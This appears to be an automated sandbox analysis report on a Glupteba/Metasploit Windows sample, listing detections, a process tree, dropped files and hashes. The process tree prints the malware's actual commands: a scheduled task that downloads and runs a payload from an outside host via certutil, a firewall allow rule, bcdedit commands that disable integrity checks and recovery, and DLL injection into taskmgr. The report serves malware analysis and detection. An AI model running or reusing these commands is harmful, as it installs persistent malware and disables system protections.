Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    21/01/2024, 04:31

General

  • Target
    6c5acb0a43a76024422d3f9c8b01cf8a.exe
  • Size 4.5MB
  • Sample240121-e5e68seehk
  • SHA256 f8d22a355cd53868c8a421fc73d742ef0b521df219d594e347f759877d3d11bf
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • metasploit

Version
  • windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 22 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 13 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Drops file in System32 directory 6 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\6c5acb0a43a76024422d3f9c8b01cf8a.exe
    "C:\Users\Admin\AppData\Local\Temp\6c5acb0a43a76024422d3f9c8b01cf8a.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2652
    • C:\Users\Admin\AppData\Local\Temp\6c5acb0a43a76024422d3f9c8b01cf8a.exe
      "C:\Users\Admin\AppData\Local\Temp\6c5acb0a43a76024422d3f9c8b01cf8a.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2704
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2736
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe /197-197
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Manipulates WinMon driver.
        • Manipulates WinMonFS driver.
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2600
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:2848
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1028
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2044
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1608
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2332
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2420
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2672
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2064
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2960
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1760
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1040
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:792
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:708
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:540
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1980
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3008
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1924
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:2292
        • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1532
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240121043116.log C:\Windows\Logs\CBS\CbsPersist_20240121043116.cab
    1⤵
    • Drops file in Windows directory
    PID:2944
  • C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
    1⤵
    • Modifies Windows Firewall
    • Modifies data under HKEY_USERS
    PID:2800

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        download.error

        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error
        • Size 663KB
        • SHA256 03ab2dd1b3ff3c47352c058eebfbb7594e443c3d20e92cb4f0a2ceb8f96fc9cf
        • MD5 SHA1 SHA512 SSDEEP

        download.error

        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error
        • Size 395KB
        • SHA256 f18fdb9e03546bfb98397bcb8378b505eaf4ac061749229a7ee92a1c3cf156e4
        • MD5 SHA1 SHA512 SSDEEP

        dsefix.exe

        • Path C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        • Size 94KB
        • SHA256 414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
        • MD5 SHA1 SHA512 SSDEEP

        patch.exe

        • Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        • Size 115KB
        • SHA256 b5ff3283ddbb831fbc06ce2043819322d0091e6dacfcdc86e9678566218b43df
        • MD5 SHA1 SHA512 SSDEEP

        ntkrnlmp.exe

        • Path C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
        • Size 282KB
        • SHA256 4557ce3b2ba6bae227ba66eb0e6d3799556d87c7b19d9b92f9c51c6984f1e28f
        • MD5 SHA1 SHA512 SSDEEP

        osloader.exe

        • Path C:\Users\Admin\AppData\Local\Temp\osloader.exe
        • Size 396KB
        • SHA256 25ee77e273e7d7d59093e5f90b10837043393d1b4136717195941ffcc7bb6b98
        • MD5 SHA1 SHA512 SSDEEP

        F0ACCF77CDCBFF39F6191887F6D2D357

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
        • Size 1KB
        • SHA256 df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 344B
        • SHA256 6f1198a4cbfe5e7363cbc656a1a700c82b8306545855a077ad8f7e661308ff18
        • MD5 SHA1 SHA512

        F0ACCF77CDCBFF39F6191887F6D2D357

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
        • Size 242B
        • SHA256 4123cfce0890e282a96f39b13f5a492a71fd1b1f0a8b2b445b678ef6a758620e
        • MD5 SHA1 SHA512

        F0ACCF77CDCBFF39F6191887F6D2D357

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
        • Size 242B
        • SHA256 e8d13ac15e294253047fa293bbba36b18a4bb00b657b0d907d8fd604339e0acc
        • MD5 SHA1 SHA512

        Cab47D9.tmp

        • Path C:\Windows\Temp\Cab47D9.tmp
        • Size 65KB
        • SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
        • MD5 SHA1 SHA512 SSDEEP

        Tar47DA.tmp

        • Path C:\Windows\Temp\Tar47DA.tmp
        • Size 171KB
        • SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path C:\Windows\rss\csrss.exe
        • Size 719KB
        • SHA256 3a2c7febbc924541ee35e92de05bc19cb4bd3a34dc53783b365c14109c9b91dd
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path C:\Windows\rss\csrss.exe
        • Size 9KB
        • SHA256 f59d0381644f3732e24f7d7ed280db6ddb58b3bb13135b60ac41f3b02723cfe3
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path C:\Windows\rss\csrss.exe
        • Size 126KB
        • SHA256 1aef000ceb98d424fbed188e9856191882ff60f322a4c0d889e50ebd03c13d8b
        • MD5 SHA1 SHA512 SSDEEP

        injector.exe

        • Path \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        • Size 281KB
        • SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
        • MD5 SHA1 SHA512 SSDEEP

        patch.exe

        • Path \Users\Admin\AppData\Local\Temp\csrss\patch.exe
        • Size 168KB
        • SHA256 c36000cb5b809a5fc8f5b503b1cac618f9b740a0f9ba7388f478f177f50948d1
        • MD5 SHA1 SHA512 SSDEEP

        dbghelp.dll

        • Path \Users\Admin\AppData\Local\Temp\dbghelp.dll
        • Size 73KB
        • SHA256 c1b5a4b7d9a181431e40b91fbf415857ea1d91d6672d2ad615e6c4c5d585a058
        • MD5 SHA1 SHA512 SSDEEP

        ntkrnlmp.exe

        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
        • Size 148KB
        • SHA256 fd18d5d546beaebeb14948b64a71838e3ed751dd2556abec354be2eb2fe3d58a
        • MD5 SHA1 SHA512 SSDEEP

        ntkrnlmp.exe

        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
        • Size 235KB
        • SHA256 997f233cda2b84bac90e6770893f69d3329bfd8bbdbaf3c6616cc089cef25777
        • MD5 SHA1 SHA512 SSDEEP

        ntkrnlmp.exe

        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
        • Size 150KB
        • SHA256 5629cf688b2df609fb34240bbad52625c3e0d5d3cefa32b9fdc7b68b9bb501b6
        • MD5 SHA1 SHA512 SSDEEP

        osloader.exe

        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
        • Size 436KB
        • SHA256 e311ad2817b714ef5c7775a78a8f24a5129c7f7b7b301ad36c06acc301531f0c
        • MD5 SHA1 SHA512 SSDEEP

        osloader.exe

        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
        • Size 422KB
        • SHA256 e744eca12d480940645a744de440f9a19b0191cad23de38caa0339fdca87f306
        • MD5 SHA1 SHA512 SSDEEP

        osloader.exe

        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
        • Size 487KB
        • SHA256 c05ea6b2409c3a7f8c3244356297c36ad7adcc814de4679639227303fec80359
        • MD5 SHA1 SHA512 SSDEEP

        symsrv.dll

        • Path \Users\Admin\AppData\Local\Temp\symsrv.dll
        • Size 163KB
        • SHA256 e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path \Windows\rss\csrss.exe
        • Size 685KB
        • SHA256 6d60c41d5d73b05bbeec9476bcc63c9d574f95926d798a68929cd20880f8ba12
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path \Windows\rss\csrss.exe
        • Size 597KB
        • SHA256 92bc0620416931674c6fd3d0efb4b2d47d7cf9bf2e7025c454b041ca0c74e176
        • MD5 SHA1 SHA512 SSDEEP

        memory/2044-35-0x0000000140000000-0x00000001405E8000-memory.dmp

        memory/2044-43-0x0000000140000000-0x00000001405E8000-memory.dmp

        memory/2600-241-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-23-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-355-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-19-0x0000000000F80000-0x00000000013BC000-memory.dmp

        memory/2600-354-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-329-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-232-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-233-0x0000000000F80000-0x00000000013BC000-memory.dmp

        memory/2600-237-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-238-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-239-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-240-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-21-0x0000000000F80000-0x00000000013BC000-memory.dmp

        memory/2600-328-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-327-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-326-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-325-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-324-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2600-294-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2652-3-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2652-2-0x0000000001300000-0x0000000001C26000-memory.dmp

        memory/2652-6-0x0000000001300000-0x0000000001C26000-memory.dmp

        memory/2652-1-0x0000000000EC0000-0x00000000012FC000-memory.dmp

        memory/2652-0-0x0000000000EC0000-0x00000000012FC000-memory.dmp

        memory/2652-7-0x0000000000EC0000-0x00000000012FC000-memory.dmp

        memory/2652-4-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2704-5-0x0000000000F40000-0x000000000137C000-memory.dmp

        memory/2704-20-0x0000000000F40000-0x000000000137C000-memory.dmp

        memory/2704-8-0x0000000000F40000-0x000000000137C000-memory.dmp

        memory/2704-9-0x0000000000400000-0x0000000000D41000-memory.dmp

        memory/2704-18-0x0000000000400000-0x0000000000D41000-memory.dmp